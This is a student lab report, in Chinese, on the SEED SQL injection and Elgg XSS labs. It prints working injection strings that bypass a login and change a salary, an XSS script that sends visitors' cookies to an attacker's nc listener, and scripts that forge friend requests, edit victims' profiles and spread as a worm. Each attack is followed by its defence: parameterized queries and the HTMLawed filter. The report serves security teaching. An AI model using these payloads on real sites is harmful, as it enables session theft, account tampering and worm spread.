20252820 2024-2025-2 《网络攻防实践》实践十报告
20252820 2024-2025-2 《网络攻防实践》实践十报告
1. 实践内容
本次实践围绕 Web 应用安全中的两类典型漏洞展开:SQL 注入和 XSS 跨站脚本攻击。SQL 注入实验使用 SEED 提供的员工管理系统,主要观察 Web 应用如何将用户输入拼接进 SQL 语句,并通过构造输入改变原有查询或更新逻辑,最后使用预编译语句和参数绑定方式进行防御。XSS 实验使用 SEED 提供的 Elgg 社交网站环境,通过在用户资料中插入 JavaScript 脚本,观察脚本在其他用户浏览器中执行后带来的影响,包括弹窗、读取 Cookie、自动加好友、自动修改资料、蠕虫传播以及启用过滤插件进行防御。
2. 实践过程
2.1 实验环境准备
2.1.1 修改主机名
sudo hostname chenjiaxu
然后重新打开终端,确认终端提示符已变为 chenjiaxu。

2.1.2 启动 Apache 服务
SEED SQL 注入实验需要 Web 服务正常运行,因此先启动 Apache 服务,并查看服务状态。
sudo service apache2 start
sudo service apache2 status

2.2 SEED SQL注入攻击与防御实验
2.2.1 熟悉 SQL 语句
登录 MySQL 数据库。使用 root 用户和默认密码seedubuntu进入数据库。
mysql -u root -pseedubuntu

进入 MySQL 后,查看数据库列表:
show databases;

查看该数据库中的表:
show tables;

查询 credential 表中的全部记录:
select * from credential;

熟悉 SQL 查询,继续执行条件查询:
select * from credential where Name='Ted';

通过以上查询可以看到员工信息表中包含 ID、姓名、EID、工资、生日、SSN、手机号、地址、邮箱等字段。
2.2.2 对 SELECT 语句的 SQL 注入攻击
在机带火狐浏览器中访问 SEED SQL 注入实验网站:
http://www.seedlabsqlinjection.com/

进入登录页面后,右键选择 “View Page Source” 查看源码。



在 unsafe_home.php 中可以看到登录功能的大致逻辑:程序先获取用户输入的用户名和密码,再将密码哈希后拼接到 SQL 查询语句中。程序直接把用户输入拼接进查询语句,导致 SQL 注入风险。
通过输入特定内容提前闭合字符串并注释后续密码判断,从而实现无需知道密码的登录。在用户名处输入:
Boby'#
直接提交登录。其原理是单引号结束 name 字段对应的字符串,# 注释掉后面的密码判断条件,使查询只保留对用户名的判断。

2.2.3 对 UPDATE 语句的 SQL 注入攻击
登录成功后进入个人信息页面,点击 Edit Profile,观察页面允许普通用户修改的字段。员工只能修改自己的部分个人信息,如昵称、邮箱、地址、电话等,而不能修改工资等字段。




cd /var/www/SQLInjection/
sudo vim unsafe_edit_backend.php


在代码中可以看到,用户提交的昵称、邮箱、地址和电话等字段被拼接到 UPDATE 语句中。如果输入内容中包含单引号、逗号、额外字段赋值和注释符,就可能突破原本只能修改普通字段的限制。
在 NickName 字段输入以下内容:
', Salary='20252820' where Name='Boby';#

先结束原本 nickname 字段的字符串赋值,再额外设置 Salary 字段,随后通过 where 指定修改对象,最后用 # 注释掉后续原始 SQL 片段。
修改工资字段成功。

2.2.4 SQL 注入对抗
SQL 注入漏洞产生的原因在于程序直接拼接 SQL 语句,使数据库无法区分用户输入到底是普通数据还是 SQL 指令。防御的关键是使用参数化查询,将 SQL 语句结构和用户输入参数分离。
使用 prepare 和 bind_param,用 ? 占位符代替直接拼接的变量。
cd /var/www/SQLInjection/
sudo vim unsafe_home.php
sudo vim unsafe_edit_backend.php


再次尝试之前的注入输入。无法绕过登录或无法越权修改工资,说明防御生效。
2.3 SEED XSS跨站脚本攻击实验(Elgg)
2.3.1 登录 Elgg 实验网站
在浏览器中访问 Elgg 实验网站:
http://www.xsslabelgg.com/
实验中常用账号如下:
Alice / seedalice
Boby / seedboby
Samy / seedsamy
Admin / seedelgg
登录 Boby 账号后,进入个人主页,点击头像下方的 Edit profile,准备在个人资料中插入脚本。


2.3.2 发布恶意消息,显示警报窗口
在 Boby 的个人资料 Brief description 中插入以下测试脚本:
<script>alert('20252820chenjiaxu');</script>
保存后,重新访问 Boby 个人主页。页面弹出 xss 警告框,说明输入的脚本被浏览器执行,存在存储型 XSS 风险。


2.3.3 弹窗显示 Cookie 信息
继续编辑 Boby 的个人资料。

修改脚本。
<script>alert(document.cookie);</script>

保存后重新访问页面,弹窗显示当前用户的 Cookie 信息。

2.3.4 窃取受害者 Cookies
先使用 ifconfig 确认攻击端 SEED Ubuntu 的 IP 地址为192.168.200.9

在终端开启监听端口:
sudo nc -l 500 -v

然后在攻击者用户 Samy 的个人资料中插入如下脚本,将访问者的 Cookie 作为 URL 参数发送到攻击端监听端口:
<script>
document.write('<img src=http://192.168.200.9:500?c=' + escape(document.cookie) + '>');
</script>

保存 Samy 的资料后,切换到 Boby 账号并访问 Samy 的主页。此时 Samy 页面中的脚本会在 Boby 浏览器中执行,攻击端监听窗口中应出现包含 Cookie 参数的请求记录。


2.3.5 自动成为受害者的朋友
构造脚本,在受害者访问攻击者页面时自动向添加好友接口发送请求。
<script type="text/javascript">
window.onload = function () {
//20252820_chenjiaxu
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
var Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
将脚本保存到 Alice 的 About me 中,再切换到 Samy 账号。

先确认 Samy 的好友列表为空,然后访问 Alice 的主页。

访问后 Samy 自动添加了Alice 为好友,说明脚本成功。


2.3.6 修改受害者的信息
受害者访问 Alice 页面后,自动向 Elgg 的资料修改接口发送请求,从而修改受害者自己的个人资料。核心思路是:脚本在受害者浏览器中执行,因此可以读取当前登录用户的用户名、GUID、时间戳和 token,然后构造 POST 请求提交到资料修改接口。
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>20252820chenjiaxu</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
将脚本保存到 Alice 的 About me 中。

使用 Samy 登录并访问 Alice 主页。访问后再查看 Samy 的个人资料,资料中出现 20252820 chenjiaxu,修改资料成功。

2.3.7 编写 XSS 蠕虫
XSS 蠕虫的特点是脚本不仅能修改受害者资料,还能把自身复制到受害者资料中,使得其他用户访问受害者主页时继续被感染。其核心是读取当前页面中脚本自身的内容,再将脚本编码后拼接到受害者的资料字段中。
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>20252820chenjiaxu"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}</script>
将蠕虫脚本保存到 Alice 的 About me 中。

使用 Boby 访问 Alice,再查看 Boby 的个人资料被修改并携带相同脚本。



Boby 资料中也出现对应内容,说明蠕虫传播成功,Boby 被感染。
2.3.8 对抗 XSS 攻击
XSS 的防御思路主要包括输入过滤、输出编码、设置 Cookie 的 HttpOnly 属性、启用内容安全策略 CSP,以及使用安全的 HTML 过滤器。SEED Elgg 实验中可以通过启用 HTMLawed 插件进行防御。
使用管理员账号登录:
Admin / seedelgg

进入管理页面:
Account -> Administration -> Plugins

找到 HTMLawed 插件并点击 Activate。该插件可以对用户提交的 HTML 内容进行过滤,阻止危险脚本被保存或执行。

启用插件后,重新尝试前面的 XSS 脚本。

Samy访问Alice主页后未感染蠕虫,防御生效。

3. 学习中遇到的问题及解决
-
问题1:修改主机名后,终端提示符没有立即变化。
-
解决方案:重新打开终端。发现 提示符变为
chenjiaxu。 -
问题2:在 Elgg 个人资料中插入 JavaScript 后没有执行。
-
解决方案:编辑
About me时需要切换到Edit HTML模式。如果使用普通可视化编辑模式,脚本会被当作普通文本处理。 -
问题3:nc 监听不到 Cookie 请求。
-
解决方案:检查脚本中的 IP 是否为 SEED Ubuntu 的实际 IP,端口是否与监听端口一致;发现端口与监听端口不一致,修改后重试,成功监听。
4. 学习感悟
通过本次实验,我对 Web 安全漏洞的形成原因有了更多的了解。SQL 注入实验让我知道,后端代码中一次简单的字符串拼接就可能导致登录绕过或越权修改数据;XSS 实验则让我意识到,前端页面中未经过滤的脚本不仅可以弹窗,还可能读取 Cookie、伪造用户操作,甚至进一步传播成蠕虫。相比只阅读概念,亲自观察攻击效果和防御前后的变化,更能理解安全编码的重要性。网络攻防实验不能只关注“攻击是否成功”,更要关注漏洞为什么产生,以及应该如何修复。对于 SQL 注入,应优先使用参数化查询,避免直接拼接用户输入;对于 XSS,应从输入过滤、输出编码、Cookie 安全属性、CSP 和 HTML 过滤插件等多个层面进行防护。

浙公网安备 33010602011771号